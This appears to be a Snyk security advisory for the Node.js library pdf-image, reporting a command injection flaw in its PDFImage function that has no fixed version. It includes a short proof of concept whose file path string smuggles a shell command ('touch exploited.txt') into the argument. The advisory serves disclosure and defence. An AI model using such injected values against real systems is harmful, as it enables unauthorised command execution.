Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsThere is no fixed version for pdf-image
.
pdf-image is a library that provides an interface to convert PDF's pages to png files in Node.js by using ImageMagick.
Affected versions of this package are vulnerable to Command Injection through the PDFImage
function, due to improper user input validation.
const pkg = require('pdf-image');
console.log(pkg);
const pdfFilePath = '" | touch exploited.txt "';
const options = {
};
const i = new pkg.PDFImage(pdfFilePath, options);
// This will create a local 'exploited.txt' file.
i.getInfo();